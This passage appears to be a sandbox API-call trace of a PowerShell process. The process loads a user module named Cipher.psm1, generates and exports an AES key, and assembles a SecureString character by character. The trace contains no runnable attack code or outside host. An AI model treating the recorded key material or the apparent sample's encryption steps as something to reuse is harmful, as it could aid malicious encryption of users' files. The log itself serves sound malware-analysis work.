[6]=0xd4, [7]=0x1))) returned 0x0 [0125.021] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.021] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeadc, nSize=0xe4 | out: lpBuffer="\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0125.021] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.021] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.021] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.021] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae730, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.022] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.023] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.023] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.023] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x43964e8) returned 1 [0125.024] CryptGenKey (in: hProv=0x43964e8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84b78) returned 1 [0125.024] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.024] CryptExportKey (in: hKey=0x8e84b78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.024] CryptExportKey (in: hKey=0x8e84b78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x698850c, pdwDataLen=0x99ae788 | out: pbData=0x698850c*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae324, nSize=0xe4 | out: lpBuffer="\xfa6a\x62bc\x9be8\x73ad\xe6e4\x99a\x14") returned 0x0 [0125.024] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.024] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.025] SysStringLen (param_1="") returned 0x8 [0125.025] SysStringLen (param_1="q") returned 0x8 [0125.025] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.025] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0125.025] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0125.025] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.025] SysStringLen (param_1="q2") returned 0x8 [0125.025] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.025] SysStringLen (param_1="\xb8e1\x40a7\x2591\x1b9\x2f3\xded9\x58c9\xea1e") returned 0x8 [0125.025] SysStringLen (param_1="\xb8e1\x40a7\x2591\x1b9\x2f3\xded9\x58c9\xea1e") returned 0x8 [0125.025] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.025] SysStringLen (param_1="q2A") returned 0x8 [0125.025] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.025] SysStringLen (param_1="⡬雙剮ష읈㞭") returned 0x8 [0125.025] SysStringLen (param_1="⡬雙剮ష읈㞭") returned 0x8 [0125.025] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="q2AV") returned 0x8 [0125.026] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="\xc7c8\xaf31\xd92a\xefde\xb6f4\x4fbf\x6ea6\x524c") returned 0x8 [0125.026] SysStringLen (param_1="\xc7c8\xaf31\xd92a\xefde\xb6f4\x4fbf\x6ea6\x524c") returned 0x8 [0125.026] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="q2AVK") returned 0x8 [0125.026] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="\x755b\x8dac\xf1fd\x4f3f\x59c7\x35e0\xba96\xf311") returned 0x8 [0125.026] SysStringLen (param_1="\x755b\x8dac\xf1fd\x4f3f\x59c7\x35e0\xba96\xf311") returned 0x8 [0125.026] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="q2AVKR") returned 0x8 [0125.026] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="\x9c1a\xb23b\xa355\xd115\xc4ee\x5912\x2101\xc0ff") returned 0x8 [0125.026] SysStringLen (param_1="\x9c1a\xb23b\xa355\xd115\xc4ee\x5912\x2101\xc0ff") returned 0x8 [0125.026] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="q2AVKRT") returned 0x8 [0125.026] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.026] SysStringLen (param_1="爑⥙嗢㯯ჯ禬ᛙ≌") returned 0x8 [0125.026] SysStringLen (param_1="爑⥙嗢㯯ჯ禬ᛙ≌") returned 0x8 [0125.026] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.027] SysStringLen (param_1="q2AVKRTS") returned 0x8 [0125.027] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917") returned 0x8 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917") returned 0x8 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917") returned 0x8 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917") returned 0x10 [0125.027] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="q2AVKRTSh龋ᘏ睵㯈䧄") returned 0x10 [0125.027] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\xa6c6\x2e6f\x9304\x811e\xdf88\xa373\x8335\xe069") returned 0x10 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\xa6c6\x2e6f\x9304\x811e\xdf88\xa373\x8335\xe069") returned 0x10 [0125.027] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="q2AVKRTShB龋ᘏ睵㯈䧄") returned 0x10 [0125.027] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\xb20a\xf8c3\x2315\xf5ed\x3f20\x7fdc\xa2c\xc5ef") returned 0x10 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\xb20a\xf8c3\x2315\xf5ed\x3f20\x7fdc\xa2c\xc5ef") returned 0x10 [0125.027] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="q2AVKRTShBjᘏ睵㯈䧄") returned 0x10 [0125.027] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x927f\x9b0\xe8da\xb269\x6452\x21d\xfa6e\xb497") returned 0x10 [0125.027] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x927f\x9b0\xe8da\xb269\x6452\x21d\xfa6e\xb497") returned 0x10 [0125.028] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="q2AVKRTShBjDᘏ睵㯈䧄") returned 0x10 [0125.028] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x12f7\xbfec\x191b\xd52d\x255b\x711a\xa43e\x9c23") returned 0x10 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x12f7\xbfec\x191b\xd52d\x255b\x711a\xa43e\x9c23") returned 0x10 [0125.028] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="q2AVKRTShBjDH睵㯈䧄") returned 0x10 [0125.028] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x6847\x7934\x423\x7678\xea73\xef5\xf8c1\xc5e6") returned 0x10 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x6847\x7934\x423\x7678\xea73\xef5\xf8c1\xc5e6") returned 0x10 [0125.028] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="q2AVKRTShBjDHe㯈䧄") returned 0x10 [0125.028] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x586d\x5ea8\xca41\xace\x8913\xb536\x9cff\xc597") returned 0x10 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x586d\x5ea8\xca41\xace\x8913\xb536\x9cff\xc597") returned 0x10 [0125.028] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="q2AVKRTShBjDHew䧄") returned 0x10 [0125.028] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x5f5d\x6f19\xd799\x7873\x2c6f\x3c4a\x72b1\x251") returned 0x10 [0125.028] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x5f5d\x6f19\xd799\x7873\x2c6f\x3c4a\x72b1\x251") returned 0x10 [0125.028] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.029] SysStringLen (param_1="q2AVKRTShBjDHewO") returned 0x10 [0125.029] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7") returned 0x10 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7") returned 0x10 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7") returned 0x10 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7") returned 0x18 [0125.029] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="q2AVKRTShBjDHewOq귮顑诒긟") returned 0x18 [0125.029] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6f65\x4246\xe33a\xa38b\x927a\x30db\xd00b\xe81c") returned 0x18 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6f65\x4246\xe33a\xa38b\x927a\x30db\xd00b\xe81c") returned 0x18 [0125.029] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="q2AVKRTShBjDHewOq5顑诒긟") returned 0x18 [0125.029] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x8e9a\xc610\x23c3\x39d7\xc75\x866a\x811c\x8df8") returned 0x18 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x8e9a\xc610\x23c3\x39d7\xc75\x866a\x811c\x8df8") returned 0x18 [0125.029] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="q2AVKRTShBjDHewOq58顑诒긟") returned 0x18 [0125.029] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x696\x6b3c\x6408\x73c6\x4c4c\xf658\x22d0\x40b8") returned 0x18 [0125.029] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x696\x6b3c\x6408\x73c6\x4c4c\xf658\x22d0\x40b8") returned 0x18 [0125.030] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="q2AVKRTShBjDHewOq580诒긟") returned 0x18 [0125.030] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x3d45\xa4c8\xc6aa\x9f06\xaa1e\x6a33\xa7ce\x4966") returned 0x18 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x3d45\xa4c8\xc6aa\x9f06\xaa1e\x6a33\xa7ce\x4966") returned 0x18 [0125.030] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="q2AVKRTShBjDHewOq580h诒긟") returned 0x18 [0125.030] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x55ec\xb489\x3f3\x6abf\x1709\x25e7\x43e4\xecd9") returned 0x18 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x55ec\xb489\x3f3\x6abf\x1709\x25e7\x43e4\xecd9") returned 0x18 [0125.030] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="q2AVKRTShBjDHewOq580hA긟") returned 0x18 [0125.030] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\xd97e\x259b\xc860\xd2ee\xbeed\xd410\xb825\xdd4") returned 0x18 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\xd97e\x259b\xc860\xd2ee\xbeed\xd410\xb825\xdd4") returned 0x18 [0125.030] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZ") returned 0x18 [0125.030] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x80f3\xc21f\xbead\x3b34\x87ce\x627c\xf5a3\x72c0") returned 0x18 [0125.030] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x80f3\xc21f\xbead\x3b34\x87ce\x627c\xf5a3\x72c0") returned 0x18 [0125.030] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.031] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj") returned 0x18 [0125.031] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277") returned 0x18 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277") returned 0x18 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277") returned 0x18 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277") returned 0x20 [0125.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4펐뙭镇愀㒜愴护") returned 0x20 [0125.031] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x3609\x2986\x7039\x5c1e\x41b9\x7e06\x4d57\xd2e0") returned 0x20 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x3609\x2986\x7039\x5c1e\x41b9\x7e06\x4d57\xd2e0") returned 0x20 [0125.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4H뙭镇愀㒜愴护") returned 0x20 [0125.031] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x7673\x606\xe5f2\xea52\x932b\x2804\x5fec\xe310") returned 0x20 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x7673\x606\xe5f2\xea52\x932b\x2804\x5fec\xe310") returned 0x20 